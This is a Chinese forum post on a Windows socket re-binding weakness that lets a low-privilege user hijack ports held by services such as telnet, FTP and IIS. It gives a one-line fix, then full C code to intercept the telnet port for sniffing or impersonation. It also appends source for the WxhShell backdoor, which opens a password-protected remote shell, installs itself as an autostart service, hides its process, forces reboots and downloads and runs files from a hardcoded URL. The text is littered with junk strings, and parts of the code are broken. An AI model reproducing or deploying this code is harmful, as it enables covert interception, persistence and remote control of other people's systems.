社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 12430阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )g9qkQ8q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fz*6 B NJ  
kCV OeXv  
  saddr.sin_family = AF_INET; DQd&:J@?  
8*X8U:.0o  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); K"61i:F  
q!4dK4`#5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Wu(GC]lTG  
6gXc-}dp  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 e9hQJ 1{)x  
s#ykD{ Z  
  这意味着什么?意味着可以进行如下的攻击: *0@e_h  
/VQ<}S[k}-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 x,+zw9  
 hT[O5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) vEkz 5$  
rcOmpgew  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~ p.23G]x  
R\^tr  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [(XKqiSV  
X%sc:V  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4Bz~_   
Y]PZ| G)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 U\N`[k.F  
bZ)Jgz  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9Z=Bs)-y.  
Y`wi=(  
  #include 4Hw8w7us:  
  #include (`&g  
  #include \)bwdNWI  
  #include    6m9Z5:xG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B!Y;VdX  
  int main() g?ft;kR6S  
  { uv$y"1'g  
  WORD wVersionRequested; >}iYZ[ V  
  DWORD ret; y =CemJ[~  
  WSADATA wsaData; GZ"O%: d  
  BOOL val; iiu\_ a=0b  
  SOCKADDR_IN saddr; No?pv"  
  SOCKADDR_IN scaddr; Kxq~,g=t  
  int err; M1:m"#=  
  SOCKET s; a)]N#gx  
  SOCKET sc; XX =A1#H  
  int caddsize; :\ S3[(FV  
  HANDLE mt; iH2|w  
  DWORD tid;   {pqm&PB04  
  wVersionRequested = MAKEWORD( 2, 2 ); 8r5j~Df  
  err = WSAStartup( wVersionRequested, &wsaData ); WE3l*7<@  
  if ( err != 0 ) { <H.Ml>q:r  
  printf("error!WSAStartup failed!\n"); Z1&8 U=pax  
  return -1; \6o ~ i  
  } 8p5u1 ;2  
  saddr.sin_family = AF_INET; p&7>G-.  
   Gh j[nsoC~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 b |EZ;,i  
%hY+%^k.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -E.EI@"  
  saddr.sin_port = htons(23); AE@*#47  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =_,w<  
  { J6jrtLh  
  printf("error!socket failed!\n"); X _XqT  
  return -1; T1Xm^{  
  } k)4   
  val = TRUE; ~dC^|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )5B90[M|t  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ) ~X\W\  
  { pmfyvkLS  
  printf("error!setsockopt failed!\n"); C0'Tua'  
  return -1; GMFp,Df  
  } ++xEMP)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; KVJiCdg-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^}9Aq $R  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 VaH#~!  
Fe: 0nr9;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) MSw/_{  
  { \ ddbqg?`  
  ret=GetLastError(); ;gf^;%FK  
  printf("error!bind failed!\n"); LTrn$k3}  
  return -1; O0wD"V^W  
  } }nu hLt1  
  listen(s,2); \07 s'W U  
  while(1) 8eL[ ,uw  
  { k pEES{f  
  caddsize = sizeof(scaddr); >pr{)bp G  
  //接受连接请求 xEGI'lt  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); w<5w?nP+Oh  
  if(sc!=INVALID_SOCKET) 7|\[ipVX:3  
  { `XQM)A  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 74QWGw`,  
  if(mt==NULL) n ,`!yw  
  { iz>a0~(K  
  printf("Thread Creat Failed!\n"); 6X)8vQH  
  break; C)Mh  
  } G.1pg]P!  
  } M++*AZ  
  CloseHandle(mt); A-uEZj_RD=  
  } r'-)@|  
  closesocket(s); LDO@$jg  
  WSACleanup(); ?:~ `?  
  return 0; wC;N*0Th  
  }   ]e 81O#t3  
  DWORD WINAPI ClientThread(LPVOID lpParam) R:zjEhH )  
  { 8 z\WyDz  
  SOCKET ss = (SOCKET)lpParam; cvi+AZ=  
  SOCKET sc; C^]bXIb  
  unsigned char buf[4096]; Bx;bc  
  SOCKADDR_IN saddr; dX` _Y  
  long num; u JGYXlLE  
  DWORD val; }Z"<KF  
  DWORD ret; F(:+[$)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ` Y"Rh[C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )9==6p  
  saddr.sin_family = AF_INET; DtR-NzjB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); pJ1GB  
  saddr.sin_port = htons(23); uG~%/7Qt{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H;%a1  
  { W%@6D|^  
  printf("error!socket failed!\n"); |v:8^C7  
  return -1; i e%ZX  
  } $D1Pk  
  val = 100;  jmz, 1[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,@8>=rT  
  { 5,k&^CK}  
  ret = GetLastError(); U5%EQc-"P  
  return -1; lhKd<Y"  
  } 9["yL{IPe  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3@_je)s  
  {  Jcy  
  ret = GetLastError(); UIIR$,XB  
  return -1; 3L/>=I{5  
  } JmtU>2z\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) j 8YMod=  
  { K>"M# T  
  printf("error!socket connect failed!\n"); \,oT(p4N%M  
  closesocket(sc); %BC*h}KGH  
  closesocket(ss); GjfY   
  return -1; x/R|i%u-s  
  } l0 r Zril  
  while(1) {eMu"<  
  { ma?$@ ]`k  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r. =_=V/t  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lmgMR|v  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2>_6b>9]  
  num = recv(ss,buf,4096,0); 7JQ5OC3  
  if(num>0) UXnd~DA  
  send(sc,buf,num,0); ;N6L`|  
  else if(num==0) Y6,< j|  
  break; =AUR]&_B  
  num = recv(sc,buf,4096,0); ;spuBA)[X  
  if(num>0) n(0O'nS^  
  send(ss,buf,num,0); 5a&[NN  
  else if(num==0) 25o + ?Y<  
  break; A!x_R {,yH  
  } N yFa2Ihd  
  closesocket(ss); pg;agtI  
  closesocket(sc); ehoDWO]S  
  return 0 ; TY],H=  
  } w%g@X6  
Q_x/e|sd  
ebcGdC/%>  
========================================================== X )$3sTj  
;Z%ysLA  
下边附上一个代码,,WXhSHELL 25NZIal<  
fr4#< 6,  
========================================================== }b\e2ZK  
D N GNc  
#include "stdafx.h" kzMCI)>"  
|.0/~Xy-  
#include <stdio.h> >t2 0GmmN  
#include <string.h> Ky[/7S5E  
#include <windows.h> "W?k~.uw  
#include <winsock2.h> A\ CtM`  
#include <winsvc.h> -:h5Ky"  
#include <urlmon.h> LsS/Sk  
'(7]jug  
#pragma comment (lib, "Ws2_32.lib") &gw. &/t  
#pragma comment (lib, "urlmon.lib") z;xp1t @  
`_N8A A  
#define MAX_USER   100 // 最大客户端连接数 ;^^u_SuH  
#define BUF_SOCK   200 // sock buffer &&\ h%-Jc  
#define KEY_BUFF   255 // 输入 buffer DvKM[z3j  
dw5.vXL`  
#define REBOOT     0   // 重启 n{6XtIoYq  
#define SHUTDOWN   1   // 关机 6@t4pML  
h7)^$Hd  
#define DEF_PORT   5000 // 监听端口 No=Ig-It  
G^ZL,{  
#define REG_LEN     16   // 注册表键长度 zQMsS  
#define SVC_LEN     80   // NT服务名长度 )!SVV~y  
7<<pP  
// 从dll定义API ;O}%_ef@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bjmUU6VLT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q&B'peT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Xw(e@ :  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z2_eTC u  
:Ag]^ot  
// wxhshell配置信息 >k,bHGj?  
struct WSCFG { nU-.a5  
  int ws_port;         // 监听端口 H [wJ; l  
  char ws_passstr[REG_LEN]; // 口令 W/<]mm~95  
  int ws_autoins;       // 安装标记, 1=yes 0=no dE7 kd=.o  
  char ws_regname[REG_LEN]; // 注册表键名 mL?9AxO  
  char ws_svcname[REG_LEN]; // 服务名 < N}UwB&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )l[<3< @s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e#(0af8A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2`Ub;Nn29  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4_Tx FulX.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WO?EzQ ?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s#/JMvQ#  
s^TF+d?B  
}; ,A[40SZA  
(C={/waJ  
// default Wxhshell configuration G"T)+! 6t  
struct WSCFG wscfg={DEF_PORT, TR L4r_  
    "xuhuanlingzhe", `C%,Nj  
    1, hZ Gr/5f  
    "Wxhshell", 6;60}y  
    "Wxhshell", s3HwBA  
            "WxhShell Service", ^3B{|cqf  
    "Wrsky Windows CmdShell Service", kj~)#KDN  
    "Please Input Your Password: ", -==@7*x!Z  
  1, ~ ' 81  
  "http://www.wrsky.com/wxhshell.exe", LyH8T'C~  
  "Wxhshell.exe" p%EU,:I6  
    }; .Qg!_C  
kSv?p1\@&P  
// 消息定义模块 6Xb\a^ q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z'=*pIY5f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iT1"Le/N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c[}h( jkP  
char *msg_ws_ext="\n\rExit."; 1_%jDMYH  
char *msg_ws_end="\n\rQuit."; .;ml[DXH  
char *msg_ws_boot="\n\rReboot..."; <mjH#aSy  
char *msg_ws_poff="\n\rShutdown..."; gQ3Co./  
char *msg_ws_down="\n\rSave to "; )tl=tH/$  
:0$(umW@I"  
char *msg_ws_err="\n\rErr!"; yw^t6E  
char *msg_ws_ok="\n\rOK!"; _v{,vLH  
6^F"np{w  
char ExeFile[MAX_PATH]; RXh0hD  
int nUser = 0; kbJ/7  
HANDLE handles[MAX_USER]; /6B!& b2f  
int OsIsNt; @a#qq`b;  
$IX>o&S@|  
SERVICE_STATUS       serviceStatus; QDYS}{A:V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 58,_  
g6o-/A!Q3  
// 函数声明 *M\Qt_[  
int Install(void); !/znovoD  
int Uninstall(void); 6e&Y%O'8  
int DownloadFile(char *sURL, SOCKET wsh); {>tgNW>)  
int Boot(int flag); h@=H7oV7k  
void HideProc(void); VJJGTkm  
int GetOsVer(void);  *>j u1f  
int Wxhshell(SOCKET wsl); xRpL\4cs  
void TalkWithClient(void *cs); dRTtDH"%  
int CmdShell(SOCKET sock); 767xCP  
int StartFromService(void); "5C)gxI^  
int StartWxhshell(LPSTR lpCmdLine); `~vqu69MF9  
e;~[PYeu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rQg7r>%Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <&\HXAOd  
. \M@oF  
// 数据结构和表定义 z=<x.F  
SERVICE_TABLE_ENTRY DispatchTable[] = `=Pn{JaD  
{ Izm8 qt=m  
{wscfg.ws_svcname, NTServiceMain}, xfCq;?MupW  
{NULL, NULL} REDh`Wd  
}; Yxz(g]  
fp|!LU  
// 自我安装 htk5\^(X  
int Install(void) 85Zy0l  
{ 28JWQ%-  
  char svExeFile[MAX_PATH]; *X+T>SKL  
  HKEY key; SoeL_#+^W  
  strcpy(svExeFile,ExeFile); lTW5> %  
~j}di^<{  
// 如果是win9x系统,修改注册表设为自启动 dy N`9  
if(!OsIsNt) { \2 &)b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6f,#O8]#5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u:& gp  
  RegCloseKey(key); Yf&x]<rkCp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VFz (U)._  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NlXHOUw)u  
  RegCloseKey(key); x!fvSoHp  
  return 0; = q9>~E{}  
    } LL|$M;S  
  } mG@xehH  
} W=41jw  
else { \_}Y4  
Qc#<RbLL  
// 如果是NT以上系统,安装为系统服务 ba& \~_4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pE@Q (9`b{  
if (schSCManager!=0) F?&n5R.  
{ b7Jk{x #u  
  SC_HANDLE schService = CreateService qFp }+s  
  ( fC+<n{"C  
  schSCManager, KZUB{Y^)  
  wscfg.ws_svcname, }eb}oK  
  wscfg.ws_svcdisp, z40uY]Ck  
  SERVICE_ALL_ACCESS, +168!Jw;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W(a31d  
  SERVICE_AUTO_START, ;W,XP#{W  
  SERVICE_ERROR_NORMAL, 7y.$'<  
  svExeFile, P,lKa.  
  NULL, *t.L` G  
  NULL, S]mXfB(mh  
  NULL, /=&HunaxI  
  NULL, Q laz3X,P  
  NULL yM>:,TS  
  ); QxG:NN;jW  
  if (schService!=0) }wRHNBaEB  
  { pYIm43r H  
  CloseServiceHandle(schService); VSP6osX{  
  CloseServiceHandle(schSCManager); Wcd;B7OH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PrqN5ND  
  strcat(svExeFile,wscfg.ws_svcname); &QFg=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aal5d_Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aF1i!Z  
  RegCloseKey(key); !PJD+SrG  
  return 0; v MTWtc!6  
    } \9T CP;{  
  } /\P3UrQ&]  
  CloseServiceHandle(schSCManager); Z~)Bh~^A  
} 1uBnU2E  
} 'z7,)Q&8  
U86bn(9K  
return 1; dlkxA^  
} %_C!3kKv~  
_1_CYrUc  
// 自我卸载 Jk=E"I6  
int Uninstall(void) 'oSs5lW  
{ uLXMEx<^  
  HKEY key; W@U<GF1  
w:%3]2c  
if(!OsIsNt) { gz8>uGx&V!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OhMnG@@  
  RegDeleteValue(key,wscfg.ws_regname); '&?cW#J?  
  RegCloseKey(key); wh8h1I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZdG?fWWA  
  RegDeleteValue(key,wscfg.ws_regname); t@(S=i7}-  
  RegCloseKey(key); 3>;zk#b2  
  return 0; x&>zD0\ :\  
  } Q${0(#Nu  
} =yo?]ZS  
} \`3YE~7J/  
else { "cSH[/  
46`(u"RP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  ;LEO+,6  
if (schSCManager!=0) {]Tb  
{ nP`#z&C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @vzv9c[  
  if (schService!=0) ^y:!=nX^  
  {  1t7vP;  
  if(DeleteService(schService)!=0) { l]tda(  
  CloseServiceHandle(schService); i i&kfy  
  CloseServiceHandle(schSCManager); 06pEA.ro  
  return 0; zIc%>?w  
  } #+dF3]X(&  
  CloseServiceHandle(schService); AmYqrmJ  
  } A/ppr.  
  CloseServiceHandle(schSCManager); &ru2&Sz  
} Q'-g+aN  
} ~2 aR>R_nT  
x[XN;W&  
return 1; cb|cYCo5  
} w0W9N%f#=  
pxC:VJ;  
// 从指定url下载文件 R%l6+Okr  
int DownloadFile(char *sURL, SOCKET wsh) EG=~0j~  
{ <_XyHb-  
  HRESULT hr; JG6"5::  
char seps[]= "/"; cTlitf9  
char *token; @~WSWlQW  
char *file; {[B^~Y>Lr  
char myURL[MAX_PATH]; g=iPv3MG  
char myFILE[MAX_PATH];  ?X{ul  
)Pr*\<Cld  
strcpy(myURL,sURL); ,EhQTVJ  
  token=strtok(myURL,seps); HCj/x<*F  
  while(token!=NULL) J* V@huF  
  { rqa?A }'  
    file=token; qu>5 rg-  
  token=strtok(NULL,seps); EPO*{bN7O  
  } Tgxxm  
B#Sg:L9Tr'  
GetCurrentDirectory(MAX_PATH,myFILE); %K@s0uQ  
strcat(myFILE, "\\"); bWp40&vx  
strcat(myFILE, file); ynkPI6o  
  send(wsh,myFILE,strlen(myFILE),0); J*4byu|  
send(wsh,"...",3,0); }M_Yn0(3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #"PI%&  
  if(hr==S_OK) (H=7(  
return 0; z +NxO !y  
else oEfy{54  
return 1; s^O>PEX&<I  
u~ %xU~v  
} x.gRTR`7(  
kl4u]MyL#  
// 系统电源模块 f~bZTf  
int Boot(int flag) <hG] f%  
{ AH?T}t2  
  HANDLE hToken; NR98I7  
  TOKEN_PRIVILEGES tkp; a3i;r M2  
~Ey)9phZK  
  if(OsIsNt) { VE_%/Fs,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "XvM1G&s`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K8>-%ns  
    tkp.PrivilegeCount = 1; i;+]Y   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PWErlA:58  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _4!SO5T  
if(flag==REBOOT) { \TchRSe  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >|Xy'ZR  
  return 0; kd0~@rPL  
} b \pjjb[  
else { <|qh5Scp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;;6e t/8  
  return 0; , Oqd4NS  
} /K+GM8rtE  
  } L p(6K  
  else { }Z^r<-N  
if(flag==REBOOT) { 4[q'1N6-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Nd b_|  
  return 0; 3WH"NC-O<  
} /Q|guJx  
else { 4q<LNvJA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .)eJL  
  return 0; .nGYx  
} ry99R|/d1  
} j?eWh#[K"  
{'(1c)q>  
return 1; 0iy-FV;J  
} kqyV UfX$3  
)Fa6 'M  
// win9x进程隐藏模块 L\O}q  
void HideProc(void) +i %,+3#6  
{ u<}PcI.  
ux8:   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HTpoYxn(  
  if ( hKernel != NULL ) ^;KL`  
  { lQ t&K1m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jg,oGtRz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dV~yIxD}C*  
    FreeLibrary(hKernel); T[$! ^WT  
  } $s[DT!8N  
#zRT  
return; ,F4 _ps?(  
} qa|"kRCO  
VW," dmC  
// 获取操作系统版本 7mUpn:U  
int GetOsVer(void) .1O  
{ >n`!S`)9{  
  OSVERSIONINFO winfo; jsXj9:X I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %cPz>PTW@  
  GetVersionEx(&winfo); vmV<PK-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tks3xS  
  return 1; #<^ngoOj  
  else YLEk M  
  return 0; i/Nd  
} zmREzP#X  
Y<A593  
// 客户端句柄模块 Wa/&H$d\u@  
int Wxhshell(SOCKET wsl) CB7 6  
{ aa:97w~s0  
  SOCKET wsh; LTSoo.dE  
  struct sockaddr_in client; 5LPyPL L  
  DWORD myID; ^p'iX4M  
]w)*8 w.)  
  while(nUser<MAX_USER) ;k<n}shD  
{ Hg~O0p}[  
  int nSize=sizeof(client); }w,^]fC:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .6@qU}  
  if(wsh==INVALID_SOCKET) return 1; qTGEi  
6" s}<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zsQhydTR  
if(handles[nUser]==0) 7DG{|%\HF  
  closesocket(wsh); )$h<9e  
else P^1+;dL,D  
  nUser++; x{$~u2|  
  } 2g)W-M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L`fDc  
pi'w40!:  
  return 0; o0f{ePZ=  
} ` 0YI?$G1  
FG?69b>  
// 关闭 socket E"EBj7<s  
void CloseIt(SOCKET wsh) ddf# c,SQ  
{ ,mu=#}a@}  
closesocket(wsh); xz @/^Cj  
nUser--; ~@3X&E0S  
ExitThread(0); h{ &X`$  
} "`sr#  
%:^|Q;xe  
// 客户端请求句柄 >bKN$,Qen  
void TalkWithClient(void *cs) b~M3j&  
{ b r"4 7i  
!,f#oCL  
  SOCKET wsh=(SOCKET)cs; rUb`_W@  
  char pwd[SVC_LEN]; tkN5 |95  
  char cmd[KEY_BUFF]; {}vB# !  
char chr[1]; r9x.c7=O  
int i,j; :3,aR\  
L5E|1T  
  while (nUser < MAX_USER) { LD'eq\vO  
`%8byy@$  
if(wscfg.ws_passstr) { Lyx \s;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FfDe&/,/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l P4A?J+Q  
  //ZeroMemory(pwd,KEY_BUFF); jKOjw#N  
      i=0; y~&R(x~w  
  while(i<SVC_LEN) { uP'x{Pr)  
*3S ./ C}  
  // 设置超时 l.DC20bs  
  fd_set FdRead; 7?@s.Sz|fV  
  struct timeval TimeOut; I?) .D?o  
  FD_ZERO(&FdRead); C *\ =Q  
  FD_SET(wsh,&FdRead); 5LT{]&`9  
  TimeOut.tv_sec=8; EF7Y4lp  
  TimeOut.tv_usec=0; \]uo^@$bm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $)L=MEdx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g;bfi{8s_  
H.8f-c-4we  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^%^~:<N  
  pwd=chr[0]; 0>uMR{ #  
  if(chr[0]==0xd || chr[0]==0xa) { Q%.V\8#|V  
  pwd=0; DPrFBy  
  break; @KM !g,f  
  } ~w<u!  
  i++; [")3c)OH|  
    } 63ig!-9F  
kIHfLwh9N  
  // 如果是非法用户,关闭 socket B&l5yI b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L'1p]Z"  
} s!\:%N  
)G7")I J/X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 67Z.aaXD1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %p5%Fs`sd  
mk)F3[ ke  
while(1) { %UquF  
ail%#E8  
  ZeroMemory(cmd,KEY_BUFF); &dqC =oK]  
82w='~y  
      // 自动支持客户端 telnet标准   99'e)[\  
  j=0; 29]T:I1d[  
  while(j<KEY_BUFF) { H /E.R[\+x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /V66P@[>  
  cmd[j]=chr[0]; /65ddt  
  if(chr[0]==0xa || chr[0]==0xd) { 0]tr&BLl*  
  cmd[j]=0; ={Bcbj{  
  break; 4I"p>FIkY  
  } +w~ <2Kt8  
  j++;  pw^$WK  
    } WU:~T.Su  
[L.+N@M  
  // 下载文件 G(LGa2;Zg  
  if(strstr(cmd,"http://")) { ?GdoB7(%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?v]EXV3  
  if(DownloadFile(cmd,wsh)) HPGMR4=ANS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o% ZtE  
  else 7J ~usF>A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :iWW2fY  
  } PgNg1  
  else { Ae&470  
l_K=7\N  
    switch(cmd[0]) { ;\P\0pI50  
  $wL zaZL|  
  // 帮助 k"*A@  
  case '?': { #G[S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J2X;=X5  
    break; LKCj@NdV  
  } 6,nws5dh  
  // 安装 Wb*A};wE  
  case 'i': { n H)6mOYp  
    if(Install()) <cQ)*~hN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L&[uE;ro  
    else Fa}3UVm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M2UF3xD   
    break; f(Vr&X  
    } d5/x2!mH8  
  // 卸载 dQD YN_  
  case 'r': { _K(w &Kr  
    if(Uninstall()) 7Y`/w$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [LDV*79Z  
    else )<_e{_ h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '&?OhSeN  
    break; D%L}vugxK  
    } ZPrL)']  
  // 显示 wxhshell 所在路径 ~YQC!x  
  case 'p': { tI2V)i!  
    char svExeFile[MAX_PATH]; 7 &y'\  
    strcpy(svExeFile,"\n\r"); D6cqON0a.  
      strcat(svExeFile,ExeFile); 3lw KV  
        send(wsh,svExeFile,strlen(svExeFile),0); (;RmfE'PX  
    break; \-X Qo  
    } )%8 ;C]G;  
  // 重启 !q:[$g-@q  
  case 'b': { 2Zf} t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G}!dm0s$  
    if(Boot(REBOOT)) ~Z74e>V%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _J'V5]=4  
    else { :~K c"Pg  
    closesocket(wsh); 8Z YF%  
    ExitThread(0); KI* erK [d  
    } y|sU-O2}Dl  
    break; U?vG?{A  
    } T#ktC0W]h  
